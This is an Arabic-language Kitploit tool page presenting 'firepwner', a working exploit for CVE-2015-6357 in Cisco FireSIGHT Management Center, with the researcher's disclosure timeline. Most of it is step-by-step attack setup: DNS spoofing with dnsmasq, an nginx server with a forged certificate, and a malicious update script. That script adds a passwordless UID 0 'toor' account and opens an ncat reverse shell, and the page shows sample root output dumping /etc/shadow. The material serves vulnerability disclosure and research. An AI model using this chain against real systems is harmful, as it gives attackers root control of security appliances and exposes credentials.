Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
firepwner — استغلال لثغرة CVE-2015-6357 في التحقق من الشهادات في Cisco FireSIGHT Management Center | Kitploit
أدوات/GitHubGitHub/mattimustang/firepwner
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةتحليل DNS
GitHubmattimustang/firepwner

firepwner

استغلال لثغرة CVE-2015-6357 في التحقق من الشهادات في Cisco FireSIGHT Management Center

عرض المستودع
653منذ 10 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2015-6357: استغلال FirePWNER لثغرة التحقق من شهادة SSL في Cisco FireSIGHT Management Center

مقدمة

في حد ذاتها، تُعدّ ثغرة التحقق من الشهادة في Cisco FireSIGHT Management Center ثغرة متوسطة الخطورة بتقييم CVSS يبلغ 5.1. ومع ذلك، تمثل هذه الثغرة مثالاً على أهمية التحقق من صحة شهادات SSL. سأوضح في هذا الاستغلال كيف يمكن استغلال الثغرة للحصول على تنفيذ أوامر عن بُعد بصلاحيات مرتفعة على نظام Cisco FireSIGHT. يربط الاستغلال ثغرة التحقق من SSL بعملية تحديث البرامج على نظام Cisco FireSIGHT لخداع النظام المستهدف لتنزيل تحديث ضارّ وتنفيذه للحصول على قشرة عكسية بصلاحيات root.

وهذا هو السبب الذي يجعلك تتحقق دائمًا من شهادات SSL

الثغرة

يُستخدم جهاز Cisco FireSIGHT Management Center لإدارة أنظمة Cisco FirePOWER لمنع التسلل (IPS)، المعروفة أيضًا باسم Sourcefire IPS. يتولى FireSIGHT تنزيل توقيعات IPS المحدّثة وتثبيتها على أجهزة IPS المُدارة.

يتيح FireSIGHT Management Center للمسؤول بدء تحديث قواعد IPS يدويًا أو جدولة التحديثات لتحدث يوميًا/أسبوعيًا/شهريًا.

عند إجراء تحديث، يستخدم FireSIGHT Management Center أمر UNIX curl لتنزيل التحديث من دعم Sourcefire. يتم تمرير الخيار -k (المعروف أيضًا باسم --insecure) إلى استدعاء أمر curl، وهو ما يخبر curl بعدم التحقق من أي شهادات SSL يقدمها الخادم.

فيما يلي مخرجات أمر ps للخادم أثناء تنزيل تحديث:

root@kitploit:~
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

تأتي تحديثات FireSIGHT في شكل سكربت شل مولّد بواسطة makeself يحتوي على أوامر UNIX Bourne shell بالإضافة إلى البيانات الثنائية المطلوب تسليمها في التحديث. يتم تنفيذ سكربتات تحديث الشل هذه مباشرة على خادم FireSIGHT كمستخدم محلي هو www.

يمكن للمهاجم القادر على تنفيذ هجوم رجل في المنتصف ضد خادم FireSIGHT إجباره على الاتصال بنسخة مزيفة من موقع دعم Sourcefire وتنزيل سكربت تحديث ضارّ ينفذ أي أمر يرغب المهاجم في تشغيله على خادم FireSIGHT.

تتيح ثغرة التحقق من SSL حدوث ذلك، إذ يتجاهل النظام شهادة SSL المزيفة التي يقدمها المهاجم ويقوم بتنزيل التحديث الضارّ وتنفيذه.

لو كان أمر curl يتحقق من شهادة SSL لفشل في تنزيل السكربت الضارّ ولحمى خادم FireSIGHT من المهاجم.

يوضح هذا الاستغلال خطر عدم التحقق من شهادة SSL من خلال استغلال الثغرة للحصول على تنفيذ أوامر عن بُعد بصلاحية المستخدم root.

سيناريو الهجوم

سيناريو الهجوم هو أن يتمكن المهاجم من اعتراض حركة المرور الصادرة من خادم FireSIGHT إلى موقع https://support.sourcefire.com. أبسط طريقة لتوضيح ذلك هي إعداد خادم DNS «مخترَق» يستجيب للاستعلامات الخاصة بالنطاق support.sourcefire.com بعنوان IP لخادم ويب يتحكم فيه المهاجم.

في سيناريو هجوم حقيقي، قد يستخدم المهاجم أي عدد من تقنيات رجل في المنتصف لتحقيق الغاية نفسها، مثل:

  • تسميم ذاكرة التخزين المؤقت لـ DNS
  • انتحال ARP، مثل ettercap.

تم اختبار هذا الاستغلال ضد الإصدارات التالية من FireSIGHT Virtual Appliance:

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

في الإثبات المفاهيمي (PoC) أدناه، تم تعيين عنوان IP 192.168.1.99 لخادم FireSIGHT.

كان المضيف المهاجم يعمل بنظام Kali Linux 2.0، على الرغم من أن الإعداد أدناه يجب أن يعمل على أي خادم يعتمد على Debian Linux. عنوان IP لمضيف Kali في المثال أدناه هو 192.168.1.1. يُستخدم مضيف Kali لتشغيل خادم DNS بالإضافة إلى موقع دعم Sourcefire المزوّر.

إعداد dnsmasq

يتطلب الاستغلال القدرة على تزوير استجابة DNS للنطاق support.sourcefire.com. يتم تشغيل خادم dnsmasq لتوفير هذه الإمكانية والعمل كخادم DNS «المخترَق».

ثبّت dnsmasq:

root@kitploit:~
root@kali# apt-get install dnsmasq

اضبط إعدادات dnsmasq:

root@kitploit:~
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

عدّل عنوان IP في سطر address ليكون عنوان خادم الويب الذي ستقدم منه التحديثات.

شغّل dnsmasq:

root@kitploit:~
root@kali# service dnsmasq start

إعداد nginx

يلزم وجود خادم ويب لتقديم الاستغلال إلى خادم FireSIGHT عندما يطلب تحديثًا.

ثبّت خادم الويب nginx:

root@kitploit:~
root@kali# apt-get install nginx

أنشئ شهادة موقّعة ذاتيًا للانتحال باسم support.sourcefire.com:

root@kitploit:~
root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

اضبط إعدادات nginx عن طريق استبدال محتويات /etc/nginx/sites-available/default بالتالي:

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

شغّل nginx:

root@kitploit:~
root@kali# service nginx start

إعداد الاستغلال

يتطلب استغلال FirePWNER تقديم ملفين من خادم الويب. الملف الأول هو بيان التحديث، وهو ملف XML يحتوي على قائمة بالتحديثات المتاحة ومواقع تنزيلها ومجاميع MD5.

أولاً، تحتاج إلى إنشاء بعض الدلائل:

root@kitploit:~
root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

ثم انسخ ملفات الاستغلال إليها:

root@kitploit:~
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

بعد نسخ هذه الملفات، يجب أن تتمكن من الانتقال إلى http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml

تكوين DNS لخادم FireSIGHT

بعد ذلك، ولأغراض توضيح الاستغلال، يجب تكوين خادم FireSIGHT لاستخدام خادم DNS «المخترَق». سجّل الدخول إلى بوابة FireSIGHT على الويب وانتقل إلى System > Local > Configure > Management Interfaces واضبط خادم DNS الأساسي على عنوان IP الخاص بخادم DNS «المخترَق» (192.168.1.1) واحفظ التغيير.

تشغيل الاستغلال

يستخدم الاستغلال أمر ncat المثبّت افتراضيًا على خادم FireSIGHT لإنشاء قشرة عكسية إلى مضيف Kali. على مضيف Kali، تحتاج إلى الاستماع لاتصال القشرة العكسية القادم من خادم FireSIGHT:

root@kitploit:~
root@kali# ncat -v -l 4444

ثم انتقل في بوابة FireSIGHT على الويب إلى System > Updates > Rule Updates واختر Download new rule update from the Support Site وانقر على زر Import. سيقوم الخادم بعد ذلك بتنزيل بيان التحديث sf.xml من خادم المهاجم، وسيرى أن هناك تحديثًا متاحًا، وسينزّل التحديث وينفذه كمستخدم www. يستفيد سكربت التحديث/الاستغلال أدناه من حقيقة أن المستخدم www لديه عدد من أوامر sudo يمكنه تشغيلها، بما في ذلك useradd. ينشئ الاستغلال مستخدمًا جديدًا باسم toor بكلمة مرور فارغة، ثم يستخدم su لرفع الصلاحيات وبدء اتصال قشرة عكسية إلى خادم المهاجم.

root@kitploit:~
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

يمكن تغيير سكربت الاستغلال لتشغيل أي أوامر أخرى مرغوبة. إذا تم تغيير السكربت، فيجب تحديث قيمة وسم XML <md5sum> في sf.xml بمجموع MD5 الجديد لسكربت الاستغلال.

فيما يلي مثال على المخرجات التي يجب أن تراها على مضيف Kali عند نجاح الاستغلال وفتح قشرة عن بُعد على خادم FireSIGHT وتنفيذ الأمرين id و cat /etc/passwd:

root@kitploit:~
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

الحصول على الاستغلال

يمكن الحصول على الملفات المستخدمة في هذا الاستغلال من github.

الجدول الزمني للإفصاح

  • 2015-08-31 اكتُشفت الثغرة في FireSIGHT 5.4.x وطُوّر الاستغلال بواسطة Matthew Flanagan.
  • 2015-09-01 تم التواصل الأولي مع Cisco PSIRT عبر [email protected].
  • 2015-09-01 ردّت PSIRT طالبة مزيدًا من المعلومات.
  • 2015-09-01 زوّد Matthew Flanagan فريق PSIRT بتقرير كامل عن الثغرة واستغلالها.
  • 2015-09-02 سجّلت PSIRT عطل FireSIGHT والحادثة PSIRT-190974966.
  • 2015-09-15 أبلغ Matthew Flanagan فريق Cisco PSIRT بأن الإصدارين 5.2.0 و5.3.0 معرّضان أيضًا للثغرة.
  • 2015-10-16 أبلغتني PSIRT بتقييم CVSS الذي عيّنته للثغرة.
  • 2015-11-09 عيّنت PSIRT معرّف CVE-2015-6357.
  • 2015-11-16 نُشرت ثغرة التحقق من الشهادة في Cisco FireSIGHT Management Center.
  • 2015-11-16 نُشرت نتائج Matthew Flanagan.
تنزيل الأداة